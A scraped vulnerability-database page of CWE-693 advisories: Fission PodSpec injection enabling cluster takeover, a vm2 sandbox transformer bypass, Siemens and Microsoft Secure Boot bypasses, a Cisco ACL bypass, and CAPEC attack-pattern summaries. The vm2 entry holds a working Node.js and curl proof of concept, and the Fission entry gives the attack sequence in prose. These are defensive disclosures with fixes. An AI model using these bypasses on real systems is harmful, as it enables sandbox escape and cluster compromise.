  "details": "### Summary\n\nA stronger framing of the same root cause as GHSA-gx55-f84r-v3r7: the `Environment.spec.runtime.podSpec` / `spec.builder.podSpec` passthrough lacked validation, and `MergePodSpec` propagated dangerous fields into the generated pods.\n\n### Details\n\nThree independent flaws compounded:\n\n1. **Validate gap.** `pkg/apis/core/v1/validation.go::Environment.Validate` checked only container naming conventions, never `hostPID`/`hostIPC`/`hostNetwork`/`hostPath`/`privileged`.\n2. **UPDATE bypass.** The `pkg/webhook/environment.go` kubebuilder marker registered `verbs=create` only. A tenant could `kubectl apply` a clean Environment and then `kubectl patch` in the dangerous fields \u2014 the webhook was never called.\n3. **Merge propagation.** `pkg/executor/util/merge.go::MergePodSpec` unconditionally forwarded `HostPID`, `HostIPC`, `HostNetwork`, `Volumes` (including hostPath), `SecurityContext`, and `ServiceAccountName` into the Deployments\ngenerated by poolmgr / newdeploy / buildermgr.\n\nA `kubectl apply` plus a follow-up `kubectl patch` caused poolmgr to schedule a privileged pod with a host-root mount within roughly 20 seconds. From that pod the cluster CA private key was readable, allowing the attacker to sign\narbitrary kubelet certificates and achieve full cluster takeover.\n\n### Impact\n\n`environments.fission.io` create/update RBAC is escalated to node escape and, via the readable cluster CA key, full cluster takeover.\n\n### Fix\n\nFixed in [#3391](https://github.com/fission/fission/pull/3391) (with the companion buildermgr SA-token fix in [#3390](https://github.com/fission/fission/pull/3390)) and released in\n[v1.24.0](https://github.com/fission/fission/releases/tag/v1.24.0). Each enumerated flaw is addressed:\n\n1. **Validate** \u2014 `ValidatePodSpecSafety` is called from `Environment.Validate` for both `Runtime.PodSpec` and `Builder.PodSpec`.\n2. **UPDATE bypass** \u2014 the webhook marker is extended to `verbs=create;update`; chart and envtest manifests are aligned.\n3. **Merge propagation** \u2014 host namespaces, `ServiceAccountName`, and hostPath volumes are stripped at the merge layer; per-container `privileged`/`allowPrivilegeEscalation` and dangerous capabilities are sanitized.\n\nSee GHSA-gx55-f84r-v3r7 for the detailed fix \u2014 both advisories close to the same commit.\n\n### Duplicate handling\n\nThis advisory and GHSA-gx55-f84r-v3r7 were reported separately but close to the same code fix. Both are published to acknowledge each reporter\u0027s contribution and to keep the public CVE record clear about the multi-layer nature of the\nissue.",
  "id": "GHSA-wmgg-3p4h-48x7",
  "modified": "2026-06-30T18:18:05Z",
  "published": "2026-06-30T18:18:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fission/fission/security/advisories/GHSA-wmgg-3p4h-48x7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fission/fission/pull/3390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fission/fission/pull/3391"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fission/fission/commit/8fa799417c77ce8a0189d9858bfe11ece29b84a6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fission/fission/commit/e484df8460bb4e8026e24210120602aa7f181f64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fission/fission"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fission/fission/releases/tag/v1.24.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fission Environment CRD PodSpec Injection Leading to Node Escape and Cluster Takeover"
}

GHSA-WP5R-2GW5-M7Q7

Vulnerability from github – Published: 2026-05-07 04:32 – Updated: 2026-05-14 20:36
VLAI
Summary
vm2's Transformer Fast-Path Bypass Exposes Internal State Variable
Details

Summary

vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).

Details

In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

When the fast-path is taken: 1. INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL never runs 2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation 3. The internal state object exposes: handleException(e), wrapWith(x), import(what)

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
  Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"

// Control test — blocked when catch keyword is present
try {
  vm.run(`
    try {
      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
    } catch(e) { e.message }
  `);
} catch(e) {
  console.log(e.message); // "Use of internal vm2 state variable"
}

HTTP demonstration:

# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"

# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}

Suggested fix:

// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
    return {__proto__: null, code, hasAsync: false};
}

Impact

  • Security Control Bypass: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.
  • Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes.
  • Scope: All applications using vm2. No special configuration required.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:32:56Z",
    "nvd_published_at": "2026-05-13T18:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nvm2\u0027s code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed \u2014 no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test \u2014 blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}\u0027\n# Result: \"wrapWith,handleException,import\"\n\n# Control test \u2014 blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}\u0027\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 \u2014 add \u0027with\u0027 keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) \u0026\u0026 code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.",
  "id": "GHSA-wp5r-2gw5-m7q7",
  "modified": "2026-05-14T20:36:55Z",
  "published": "2026-05-07T04:32:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44003"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2\u0027s Transformer Fast-Path Bypass Exposes Internal State Variable"
}

GHSA-WPMJ-MX2H-XGFX

Vulnerability from github – Published: 2025-03-11 12:30 – Updated: 2026-09-08 09:35
VLAI
Details

A vulnerability has been identified in SIMATIC Field PG M5 (All versions), SIMATIC IPC BX-21A (All versions < V31.01.07), SIMATIC IPC BX-32A (All versions < V29.01.07), SIMATIC IPC BX-39A (All versions < V29.01.07), SIMATIC IPC BX-59A (All versions < V32.01.04), SIMATIC IPC PX-32A (All versions < V29.01.07), SIMATIC IPC PX-39A (All versions < V29.01.07), SIMATIC IPC PX-39A PRO (All versions < V29.01.07), SIMATIC IPC RC-543B (All versions), SIMATIC IPC RW-543A (All versions), SIMATIC IPC127E (All versions), SIMATIC IPC227E (All versions), SIMATIC IPC227G (All versions), SIMATIC IPC277E (All versions), SIMATIC IPC277G (All versions), SIMATIC IPC277G PRO (All versions), SIMATIC IPC3000 SMART V3 (All versions), SIMATIC IPC327G (All versions), SIMATIC IPC347G (All versions), SIMATIC IPC377G (All versions), SIMATIC IPC427E (All versions), SIMATIC IPC477E (All versions), SIMATIC IPC477E PRO (All versions), SIMATIC IPC527G (All versions), SIMATIC IPC627E (All versions < V25.02.15), SIMATIC IPC647E (All versions < V25.02.15), SIMATIC IPC677E (All versions < V25.02.15), SIMATIC IPC847E (All versions < V25.02.15), SIMATIC ITP1000 (All versions). The affected devices have insufficient protection mechanism for the EFI(Extensible Firmware Interface) variables stored on the device. This could allow an authenticated attacker to alter the secure boot configuration without proper authorization by directly communicate with the flash controller.

Severity
8.2 (High)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
8.4 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T10:15:15Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SIMATIC Field PG M5 (All versions), SIMATIC IPC BX-21A (All versions \u003c V31.01.07), SIMATIC IPC BX-32A (All versions \u003c V29.01.07), SIMATIC IPC BX-39A (All versions \u003c V29.01.07), SIMATIC IPC BX-59A (All versions \u003c V32.01.04), SIMATIC IPC PX-32A (All versions \u003c V29.01.07), SIMATIC IPC PX-39A (All versions \u003c V29.01.07), SIMATIC IPC PX-39A PRO (All versions \u003c V29.01.07), SIMATIC IPC RC-543B (All versions), SIMATIC IPC RW-543A (All versions), SIMATIC IPC127E (All versions), SIMATIC IPC227E (All versions), SIMATIC IPC227G (All versions), SIMATIC IPC277E (All versions), SIMATIC IPC277G (All versions), SIMATIC\u00a0IPC277G PRO (All versions), SIMATIC IPC3000 SMART V3 (All versions), SIMATIC IPC327G (All versions), SIMATIC IPC347G (All versions), SIMATIC IPC377G (All versions), SIMATIC IPC427E (All versions), SIMATIC IPC477E (All versions), SIMATIC IPC477E PRO (All versions), SIMATIC IPC527G (All versions), SIMATIC IPC627E (All versions \u003c V25.02.15), SIMATIC IPC647E (All versions \u003c V25.02.15), SIMATIC IPC677E (All versions \u003c V25.02.15), SIMATIC IPC847E (All versions \u003c V25.02.15), SIMATIC ITP1000 (All versions). The affected devices have insufficient protection mechanism for the EFI(Extensible Firmware Interface) variables stored on the device. This could allow an authenticated attacker to alter the secure boot configuration without proper authorization by directly communicate with the flash controller.",
  "id": "GHSA-wpmj-mx2h-xgfx",
  "modified": "2026-09-08T09:35:27Z",
  "published": "2025-03-11T12:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56181"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-216014.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WPRH-M7MQ-QHFQ

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30
VLAI
Details

Secure Boot Security Feature Bypass Vulnerability

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-20669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T17:15:32Z",
    "severity": "MODERATE"
  },
  "details": "Secure Boot Security Feature Bypass Vulnerability",
  "id": "GHSA-wprh-m7mq-qhfq",
  "modified": "2024-04-09T18:30:24Z",
  "published": "2024-04-09T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20669"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20669"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQ5X-GXQV-3RGF

Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details

A vulnerability in Central Web Authentication (CWA) with FlexConnect Access Points (APs) for Cisco Aironet 1560, 1810, 1810w, 1815, 1830, 1850, 2800, and 3800 Series APs could allow an authenticated, adjacent attacker to bypass a configured FlexConnect access control list (ACL). The vulnerability is due to the AP ignoring the ACL download from the client during authentication. An attacker could exploit this vulnerability by connecting to the targeted device with a vulnerable configuration. A successful exploit could allow the attacker to bypass a configured client FlexConnect ACL. This vulnerability affects the following Cisco products if they are running a vulnerable release of Central Web Authentication with FlexConnect Access Points Software: Aironet 1560 Series Access Points, Aironet 1810 Series OfficeExtend Access Points, Aironet 1810w Series Access Points, Aironet 1815 Series Access Points, Aironet 1830 Series Access Points, Aironet 1850 Series Access Points, Aironet 2800 Series Access Points, Aironet 3800 Series Access Points. Note: Central Web Authentication with FlexConnect Access Points was an unsupported configuration until 8.5.100.0. Cisco Bug IDs: CSCve17756.

Severity
4.1 (Medium)
CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-0250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-02T22:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Central Web Authentication (CWA) with FlexConnect Access Points (APs) for Cisco Aironet 1560, 1810, 1810w, 1815, 1830, 1850, 2800, and 3800 Series APs could allow an authenticated, adjacent attacker to bypass a configured FlexConnect access control list (ACL). The vulnerability is due to the AP ignoring the ACL download from the client during authentication. An attacker could exploit this vulnerability by connecting to the targeted device with a vulnerable configuration. A successful exploit could allow the attacker to bypass a configured client FlexConnect ACL. This vulnerability affects the following Cisco products if they are running a vulnerable release of Central Web Authentication with FlexConnect Access Points Software: Aironet 1560 Series Access Points, Aironet 1810 Series OfficeExtend Access Points, Aironet 1810w Series Access Points, Aironet 1815 Series Access Points, Aironet 1830 Series Access Points, Aironet 1850 Series Access Points, Aironet 2800 Series Access Points, Aironet 3800 Series Access Points. Note: Central Web Authentication with FlexConnect Access Points was an unsupported configuration until 8.5.100.0. Cisco Bug IDs: CSCve17756.",
  "id": "GHSA-wq5x-gxqv-3rgf",
  "modified": "2022-05-13T01:35:31Z",
  "published": "2022-05-13T01:35:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0250"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180502-ap-acl"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040818"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.

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